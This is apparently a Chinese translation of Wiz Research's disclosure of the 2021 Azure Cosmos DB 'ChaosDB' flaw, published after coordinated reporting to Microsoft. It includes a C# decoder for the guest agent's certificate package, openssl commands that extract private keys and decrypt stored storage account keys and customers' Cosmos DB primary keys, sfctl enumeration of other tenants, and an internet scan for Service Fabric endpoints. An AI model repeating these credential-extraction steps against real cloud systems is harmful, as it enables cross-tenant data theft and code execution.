与 WA-Agent 不同,Windows 虚拟机代理(也称为Windows Azure Guest Agent.exe)不是开源的。但是它是用 C# 编写的,所以我们可以很容易地将它反编译成类似于源代码的东西。有许多工具可以做到这一点——我们选择了 ILSpy。

这是微软的 ILSpy 视图。Windows Azure。RoleContainer.dll,Windows Azure Guest Agent.exe 的一部分:

Azure Cosmos DB漏洞允许任何用户下载删除或操作数据库
微软的 ILSpy 视图。Windows Azure
RoleContainer.dll,Windows Azure Guest Agent.exe 的一部分

其次是 Microsoft.WindowsAzure.Security.CredentialsManagement.Package.dll 的 ILSpy 视图,它是 WindowsAzureGuestAgent.exe 的一部分:

Azure Cosmos DB漏洞允许任何用户下载删除或操作数据库
微软的 ILSpy 视图。
Windows Azure。安全。凭证管理。
Package.dll,Windows Azure Guest Agent.exe 的一部分

你有它!最后,我们第一次提到难以捉摸的 CertificatesBondPackage 格式及其处理代码。  

使用 Windows 代理的现有功能,我们编写了一个简单的片段来模拟代理对证书绑定包的解码,以便以熟悉的pkcs7文件格式获取密钥。

using Microsoft.Cis.Fabric.CertificateServices;
using Microsoft.WindowsAzure.GuestAgent.CertificateManager;
using Microsoft.WindowsAzure.Security.CredentialsManagement.Package;
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Security.Cryptography.X509Certificates;
using System.Text;
using System.Threading.Tasks;
using Bond.IO;
using Bond.IO.Unsafe;
using RD.Security.Dsms;
using Bond;
using Bond.Protocols;
namespace ConsoleApp2
{
    class Program
    {
        static void Main(string[] args)
        {
            byte[] cert = File.ReadAllBytes(@"cerificate_bond.bin");
            InputBuffer input = new InputBuffer(cert);
            ManagedCertificatesPackage managedCertsData = Deserialize<SecretsPackage>.From(new CompactBinaryReader<InputBuffer>(input, 1)).ManagedCertsPackage;
            var managedCertData = managedCertsData.CertsData;
            byte[] array = new byte[managedCertData.Count];
            Array.Copy(managedCertData.Array, managedCertData.Offset, array, 0, managedCertData.Count);
            byte[] data = array;
            File.WriteAllBytes(@"ManagedCertsPackage.bin", data);
            InputBuffer input2 = new InputBuffer(cert);
            ArraySegment<byte> unmanagedCertsData = Deserialize<SecretsPackage>.From(new CompactBinaryReader<InputBuffer>(input2, 1)).UnmanagedCertsData;
            var unmanagedCertData = unmanagedCertsData;
            byte[] array2 = new byte[unmanagedCertData.Count];
            Array.Copy(unmanagedCertData.Array, unmanagedCertData.Offset, array2, 0, unmanagedCertData.Count);
            byte[] data2 = array2;
            File.WriteAllBytes(@"UnmanagedCertsData.bin", data2);
        }
    }
}

现在,在对证书绑定包进行解码和解密后,我们希望得到两个密钥:一个私钥和一个用于加密和解密受保护设置的公钥。  

实际上,我们取回了 25 把钥匙。  

是的,25 个 Microsoft 证书及其相应的私钥。 点击推文!

user@laptop:~/cosmos$ grep subject ManagedCertificates.pem
subject=CN = fabricsecrets.documents.azure.com
subject=CN = secrets-kek.documents.azure.com
subject=CN = computev2.internal.by.cosmos.azure.com
subject=CN = fe.internal-secrets.by.cosmos.azure.com
subject=CN = computev2.internal.by.cosmos.azure.com
subject=CN = fabric.westus1.cosmos.azure.com
subject=CN = computev2tomanagement.internal.cosmos.azure.com
subject=CN = metricsclient.geneva.core.windows.net
subject=CN = fe.internal-secrets.by.cosmos.azure.com
subject=CN = *.notebook.cosmos.azure.com
subject=CN = metricsclient.geneva.core.windows.net
subject=CN = fabric.westus1.cosmos.azure.com
subject=CN = /certificates/selfsigned/agentidcert/crpcustomers/services/vmss/by5prdapp04_f2a6f11f-ad20-4bb3-839f-<REDACTED>_wf/by5prdapp04_f2a6f11f-ad20-4bb3-839f-<REDACTED>-by5prdapp04-f2a6f11f-ad20-4bb3-839f-<REDACTED>--/crpcustomers/services/vmss/by5prdapp04_f2a6f11f-ad20-4bb3-839f-<REDACTED>_wf/by5prdapp04_f2a6f11f-ad20-4bb3-839f-<REDACTED>--by5prdapp04.fc.core.windows.net--f2a6f11f-ad20-4bb3-839f-<REDACTED>--uswest-dsms.dsms.core.windows.net
subject=CN = *.notebook.cosmos.azure.com
subject=CN = computev2tomanagement.internal.cosmos.azure.com
subject=CN = fabric.westus1.cosmos.azure.com
subject=CN = fabricsecrets.documents.azure.com
subject=CN = secrets-kek.documents.azure.com
subject=CN = fabricsecrets.documents.azure.com
subject=CN = computev2tomanagement.internal.cosmos.azure.com
subject=CN = secrets-kek.documents.azure.com
subject=CN = *.notebook.cosmos.azure.com
subject=CN = computev2.internal.by.cosmos.azure.com
subject=CN = fe.internal-secrets.by.cosmos.azure.com
subject=CN = metricsclient.geneva.core.windows.net
user@laptop:~/cosmos$ grep subject UnmanagedCertificates.pem
subject=DC = Windows Azure CRP Certificate Generator

Certificates Bond Package 包含一堆我们可能不应该拥有的证书;我们将仔细研究这 3 个:  

1. fabricsecrets. documents. azure.com
2. fabric. westus1. cosmos.azure.com  
3. *.notebook. cosmos. azure.com(仅此一项就允许我们拦截在 HOST Windows VM 上运行的客户 Jupyter Notebook 的加密 SSL 流量……)  

这些证书的合法用途是什么?

访问存储帐户和内部 Service Fabric

回到 ExtensionConfig,我们意识到 ServiceFabricNode 扩展在其公共设置中有一些有趣的信息:它包含机器的 Service Fabric 群集的群集端点,以及身份验证所需的证书的通用名称:

"publicSettings": {"clusterEndpoint":"https://westus.servicefabric.azure.com/runtime/clusters/83bd67e7-7bb1-4f4f-826f-<REDACTED>", ...snip... ,"certificate":{"commonNames":["fabric.westus1.cosmos.azure.com"],"x509StoreName":"My"}}

当我们从 Google Chrome访问clusterEndpoint URL 时,系统提示我们提供用于身份验证的客户端证书。我们得出的结论是,我们最好的选择是使用这种面料。westus1. cosmos.  。我们之前从 WireServer 获得的azure.com证书,因为它在 ServiceFabricNodeExtension 的 publicSettings 中被提及。

Azure Cosmos DB漏洞允许任何用户下载删除或操作数据库
谷歌浏览器提示提供证书

我们得到的是一个巨大的 XML 格式的清单文件,其中包含大量集群信息,包括多个 Azure 存储帐户的多个连接字符串,可以使用 ExtensionConfig 的解密 protectedSettings 部分中的存储帐户密钥访问这些连接字符串: 

<Section Name="AzureBlobServiceFabricCrashDump">
<Parameter Name="ConsumerType" Value="AzureBlobFolderUploader"/>
<Parameter Name="ContainerName" Value="fabriccrashdumps-83bd67e7-7bb1-4f4f-826f-<REDACTED>"/>
<Parameter Name="DataDeletionAgeInDays" Value="28"/>
<Parameter Name="IsEnabled" Value="true"/>
<Parameter Name="ProducerInstance" Value="ServiceFabricCrashDump"/>
<Parameter Name="StoreConnectionString" Value="xstore:BlobEndpoint=https://kssf2q<REDACTED>.blob.core.windows.net/;TableEndpoint=https://kssf2q<REDACTED>.table.core.windows.net/;AccountName=kssf2q<REDACTED>;ProtectedAccountKeyName=StorageAccountKey1"/>
</Section>
<Section Name="AzureBlobServiceFabricEtw">
<Parameter Name="ConsumerType" Value="AzureBlobEtwCsvUploader"/>
<Parameter Name="ContainerName" Value="fabriclogs-83bd67e7-7bb1-4f4f-826f-<REDACTED>"/>
<Parameter Name="DataDeletionAgeInDays" Value="28"/>
<Parameter Name="IsEnabled" Value="true"/>
<Parameter Name="ProducerInstance" Value="ServiceFabricEtlFile"/>
<Parameter Name="StoreConnectionString" Value="xstore:BlobEndpoint=https://kssf2q<REDACTED>.blob.core.windows.net/;TableEndpoint=https://kssf2q<REDACTED>.table.core.windows.net/;AccountName=kssf2q<REDACTED>;ProtectedAccountKeyName=StorageAccountKey1"/>
</Section>
<Section Name="AzureBlobServiceFabricPerfCounter">
<Parameter Name="ConsumerType" Value="AzureBlobFolderUploader"/>
<Parameter Name="ContainerName" Value="fabriccounters-83bd67e7-7bb1-4f4f-826f-<REDACTED>"/>
<Parameter Name="DataDeletionAgeInDays" Value="28"/>
<Parameter Name="IsEnabled" Value="true"/>
<Parameter Name="ProducerInstance" Value="ServiceFabricPerfCounter"/>
<Parameter Name="StoreConnectionString" Value="xstore:BlobEndpoint=https://kssf2q<REDACTED>.blob.core.windows.net/;TableEndpoint=https://kssf2q<REDACTED>.table.core.windows.net/;AccountName=kssf2q<REDACTED>;ProtectedAccountKeyName=StorageAccountKey1"/>
</Section>
<Section Name="AzureTableServiceFabricEtwQueryable">
<Parameter Name="ConsumerType" Value="AzureTableQueryableEventUploader"/>
<Parameter Name="DataDeletionAgeInDays" Value="28"/>
<Parameter Name="IsEnabled" Value="true"/>
<Parameter Name="ProducerInstance" Value="ServiceFabricEtlFileQueryable"/>
<Parameter Name="StoreConnectionString" Value="xstore:BlobEndpoint=https://kssf2q<REDACTED>.blob.core.windows.net/;TableEndpoint=https://kssf2q<REDACTED>.table.core.windows.net/;AccountName=kssf2q<REDACTED>;ProtectedAccountKeyName=StorageAccountKey1"/>
<Parameter Name="TableNamePrefix" Value="fabriclog83bd67e77bb14f4f826f<REDACTED>"/>
</Section>

为了将来参考,这些是我们用来解密 protectedSettings 部分的 OpenSSL 命令:

user@laptop:~/cosmos$ ls -la
total 144
drwxr-xr-x 2 user user   4096 Aug  9 20:37 .
drwxr-xr-x 3 user user   4096 Aug  9 19:53 ..
-rw------- 1 user user 121900 Aug  9 18:32 ManagedCertificates.pem
-rw------- 1 user user   3144 Aug  9 18:35 UnmanagedCertificates.pem
user@laptop:~/cosmos$ cat UnmanagedCertificates.pem | sed -n '/-----BEGIN PRIVATE KEY-----$/,/^-----END PRIVATE KEY-----$/p' > protected-key.pem
user@laptop:~/cosmos$ cat UnmanagedCertificates.pem | sed -n '/-----BEGIN CERTIFICATE-----$/,/^-----END CERTIFICATE-----$/p' > protected-cert.pem
user@laptop:~/cosmos$ echo MIIB0AYJKoZIhvcN...redacted...pqF8om/4fhhMgqGpu | base64 -d | openssl smime -inform DER -decrypt -recip protected-cert.pem -inkey protected-key.pem
{"Placeholder":"NothingImportant"}
user@laptop:~/cosmos$ echo MIICkwYJKoZIhvcN...redacted...pMd+kxSTnWwJLOwgl | base64 -d | openssl smime -inform DER -decrypt -recip protected-cert.pem -inkey protected-key.pem
{"StorageAccountKey1":"55410uWV0y5X...redacted...XCUEN2upGg==","StorageAccountKey2":"kNY61/TqYr4r...redacted...KOvBat3NbQ=="}

我们
使用访问这些存储账户  Azure 存储资源管理器 并发现了数百 GB 的元数据和操作日志,以及有关 Cosmos DB 底层基础架构的数百万条记录:

Azure Cosmos DB漏洞允许任何用户下载删除或操作数据库
使用 Azure 存储资源管理器访问 Azure 存储帐户

然后我们注意到 manifest.xml 文件中描述 Service Fabric 节点的这一部分:

<NodeTypeName="CV2FI02">
<Endpoints>
<ClientConnectionEndpointPort="19000"/>
<LeaseDriverEndpointPort="1026"/>
<ClusterConnectionEndpointPort="1025"/>
<HttpGatewayEndpointPort="19080"Protocol="https"/>
<ServiceConnectionEndpointPort="1027"/>
<ApplicationEndpointsStartPort="20000"EndPort="30000"/>
<EphemeralEndpointsStartPort="30001"EndPort="65534"/>
</Endpoints>
<Certificates>
<ClusterCertificateX509FindType="FindBySubjectName"X509FindValue="fabric.westus1.cosmos.azure.com"Name="Certificate"/>
<ServerCertificateX509FindType="FindBySubjectName"X509FindValue="fabric.westus1.cosmos.azure.com"Name="Certificate"/>
<ClientCertificateX509FindType="FindBySubjectName"X509FindValue="fabric.westus1.cosmos.azure.com"Name="Certificate"/>
</Certificates>
<PlacementProperties>
<PropertyName="JanusGraphCapable"Value="true"/>
<PropertyName="MaterializedViewsBuilderCapable"Value="true"/>
<PropertyName="NodeTypeName"Value="CV2FI02"/>
<PropertyName="NotebookCapable"Value="true"/>
<PropertyName="RingRoleName"Value="CV2FI"/>
</PlacementProperties>
<Capacities>
<CapacityName="ComputeUnits"Value="80"/>
<CapacityName="ServiceFabric:/_CpuCores"Value="80"/>
<CapacityName="ServiceFabric:/_MemoryInMB"Value="442367"/>
</Capacities>
</NodeType>
</NodeTypes>
<Infrastructure>
<PaaS>
<Roles>
<RoleRoleName="CV2CB01"NodeTypeRef="CV2CB01"RoleNodeCount="5"/>
<RoleRoleName="CV2CW02"NodeTypeRef="CV2CW02"RoleNodeCount="7"/>
<RoleRoleName="CV2FI02"NodeTypeRef="CV2FI02"RoleNodeCount="8"/>
</Roles>
<Votes>
<VoteNodeName="_CV2FI02_0"IPAddressOrFQDN="10.0.0.4"Port="1025"/>
<VoteNodeName="_CV2FI02_1"IPAddressOrFQDN="10.0.0.5"Port="1025"/>
<VoteNodeName="_CV2FI02_2"IPAddressOrFQDN="10.0.0.6"Port="1025"/>
<VoteNodeName="_CV2FI02_3"IPAddressOrFQDN="10.0.0.7"Port="1025"/>
<VoteNodeName="_CV2FI02_4"IPAddressOrFQDN="10.0.0.8"Port="1025"/>
<VoteNodeName="_CV2FI02_5"IPAddressOrFQDN="10.0.0.9"Port="1025"/>
<VoteNodeName="_CV2FI02_6"IPAddressOrFQDN="10.0.0.10"Port="1025"/>
</Votes>
</PaaS>
</Infrastructure>

如果到目前为止您一直在密切关注,您会记得我们的越狱包括从 iptables 中删除本地防火墙规则,这些规则阻止我们访问 10.0.0.0/16 子网,我们在上面的清单文件中看到了这一点。这意味着,我们现在可以自由访问它。这也意味着我们可以从我们的 Jupyter Notebook 容器访问端口 19080 上的本地 Service Fabric HttpGatewayEndpoint,正如清单文件所暗示的那样,可以使用 Fabric 进行身份验证。fabric. westus1. cosmos. azure.com.  

现在是时候停下来问问,Service Fabric 到底是什么?根据微软的文档,Azure Service Fabric 是一个分布式系统平台,可以轻松打包、部署和管理可扩展且可靠的微服务和容器。因此,我们可以将其视为 Kubernetes 的替代品。好的。

列出应用程序

我们使用 fabric.westus1.cosmos.azure.com 证书在端口 19080 上连接并验证了本地 Service Fabric,使用 sfctl命令行。然后我们使用  sfctl application list命令来列出正在运行的应用程序实例。  

输出为我们提供了由该区域集群管理的所有 Cosmos 数据库实例(超过 500 个!)的列表,包括那些不属于我们账户的实例:

Azure Cosmos DB漏洞允许任何用户下载删除或操作数据库
sfctl 应用程序列表输出

查看执行命令的输出,我们认为这些字段特别有趣:

1. COSMOSDB_ ACCOUNT_ KEY_ENCRYPTED
2. NOTEBOOK_ AUTH_ TOKEN_ ENCRYPTED  
3. NOTEBOOK_ STORAGE_ ACCOUNT_ KEY_ENCRYPTED

尽管这些机密是加密的(顾名思义),但我们拥有解密所需的证书:fabricsecrets.documents.azure.com。这些是用于使用 fabricsecrets 解密机密的命令。文件。azure.com 证书:

user@laptop:~/cosmos$ cat msg.p7m
MIME-Version:1.0
Content-Disposition: attachment; filename="./msg.p7m"
Content-Type: application/x-pkcs7-mime; name="./msg.p7m"
Content-Transfer-Encoding: base64
MIICOgYJKoZIhvcNAQcDoIIC...redacted...6oYVI1iUIj9cS2K9JEQEvY1/A== // <--- COSMOSDB_ACCOUNT_KEY_ENCRYPTED
user@laptop:~/cosmos$ openssl cms -decrypt -in msg.p7m -inkey ./fabricsecrets.documents.azure.com.key -recip ./fabricsecrets.documents.azure.com.crt
EuFBNZOWMFIee...redacted...0G7W4iDZoQeCQQ== // <--- Plain-text for COSMOSDB_ACCOUNT_KEY_ENCRYPTED

影响

使用我们通过利用上述错误配置获得的信息,我们能够: 

1. 获取集群中运行的任何 Cosmos DB 实例的明文主键,使我们能够在没有任何授权的情况下查询和操作客户的数据库。 
这可以通过使用fabricsecrets 的证书解密COSMOSDB_ACCOUNT_KEY_ENCRYPTED 来完成 。文件。Azure。 

2. 为我们集群中运行的任何 Jupyter Notebook 实例获取明文身份验证令牌,使我们能够在没有任何授权的情况下在客户的 Jupyter VM 上执行任意代码。 
这可以通过使用fabricsecrets的证书解密 NOTEBOOK_STORAGE_ACCOUNT_KEY_ENCRYPTED 来完成 文件。azure.com,并访问位于 NOTEBOOK_ PROXY_ PATH 的 Jupyter 笔记本。 

3. 获取客户笔记本存储账户的明文密码,使我们能够访问和操作客户私人保存的笔记本。 
这可以通过使用fabricsecrets 的证书解密NOTEBOOK_STORAGE_ACCOUNT_KEY_ENCRYPTED 来完成 。文件。azure.com,并将 NOTEBOOK_STORAGE_FILE_ENDPOINT 中的信息与 Azure 存储资源管理器结合使用。 

4. 获取*.notebook的证书 cosmos. azure.com.  ,使我们能够拦截到这些端点的 SSL 流量。 

5. 通过访问内部 Azure 存储 blob 获取有关 Cosmos DB 底层基础结构的元数据。 

6. 通过浏览到位于各个端点上的 Service Fabric Explorer 并使用结构进行身份验证来访问 Cosmos DB 的底层基础 结构。fabric. westus1. cosmos. azure.com.  

Azure Cosmos DB漏洞允许任何用户下载删除或操作数据库
使用 NOTEBOOK_ STORAGE_ ACCOUNT_ KEY_ ENCRYPTED 访问客户的笔记本存储
Azure Cosmos DB漏洞允许任何用户下载删除或操作数据库
使用 NOTEBOOK_AUTH_TOKEN_ENCRYPTED 在 Notebook VM 上执行代码

演示视频

从外部访问基础设施

我们之前提到了多个 Azure 存储帐户,我们认为这些帐户包含有关 Cosmos DB 底层基础结构的元数据信息。在查看这些日志文件后,我们注意到其中一些包含有关据称可从 Internet 访问的公共 Service Fabric 的信息(与之前需要的 LAN 访问相比)。  

我们对 Microsoft 的 ASN 上的端口 19080 执行了网络扫描,发现了 100 多个可通过该端口访问的 Service Fabric 实例。我们尝试使用我们之前获得的证书 ( fabric.westus1.cosmos.azure.com )连接到这些 Service Fabric 中的每一个,令我们惊讶的是,身份验证成功了!  

仅使用一个证书,我们就设法对可从 Internet 访问的多个区域的内部 Service Fabric 实例进行身份验证。

Azure Cosmos DB漏洞允许任何用户下载删除或操作数据库
可通过 Internet 访问的 Service Fabric 的 Web-UI

以及在我们的网络扫描中发现的 Service Fabric 实例的部分列表:

Azure Cosmos DB漏洞允许任何用户下载删除或操作数据库
在我们的网络扫描中发现的 Service Fabric 实例的部分列表

结论

通过利用 Cosmos DB 的 Jupyter Notebook 容器功能中的一系列错误配置,我们设法获得了对客户 Azure Cosmos DB 实例的未经授权的访问。我们能够通过多个身份验证令牌和 API 密钥证明可以访问数千家公司的 Cosmos 数据库实例(数据库、笔记本环境、笔记本存储),并具有完全的管理控制权。受影响的客户中有许多财富 500 强公司。我们还设法获得了对运行 Cosmos DB 的底层基础设施的访问权限,并且我们能够证明这种访问可以在易受攻击的应用程序之外通过 Internet 进行维护。总的来说,我们认为这与“服务接管”非常接近。

披露时间表

2021 年 8 月 9 日 – Wiz 研究团队首先利用了该漏洞并未经授权访问了 Cosmos DB 帐户。
2021 年 8 月 11 日 – Wiz 研究团队确认与 Wiz 客户的交集。
2021 年 8 月 12 日 – Wiz 研究团队向 Microsoft 发送了咨询。
2021 年 8 月 14 日 – Wiz 研究团队观察到易受攻击的功能已被禁用。
2021 年 8 月 16 日 – Microsoft 安全响应中心 (MSRC) 确认了报告的行为(MSRC 案例 66805)。
2021 年 8 月 16 日 – Wiz 研究团队观察到一些获得的凭据已被撤销。
2021 年 8 月 17 日 – MSRC 为该报告悬赏 40,000 美元。
2021 年 8 月 23 日 – MSRC 确认有数千名客户受到影响。
2021 年 8 月 23 日 – MSRC 和 Wiz 研究团队讨论了公开披露策略。
2021 年 8 月 25 日 – 公开披露。

保持联系!

你好呀!我们是来自 Wiz 研究团队的 Nir ​​Ohfeld 和 Sagi Tzadik。我们都是资深的 BlackHat 演讲者,白帽黑客,但首先是两个非常好的朋友,他们在业余时间从云漏洞中拯救世界?关于我们的一点:Nir 最近在MSRC 2021 Q3 研究人员排行榜,而 Sagi 在游戏黑客和逆向工程方面不断提出新的想法和无尽的创造力。  

from

Leave a Reply

您的邮箱地址不会被公开。 必填项已用 * 标注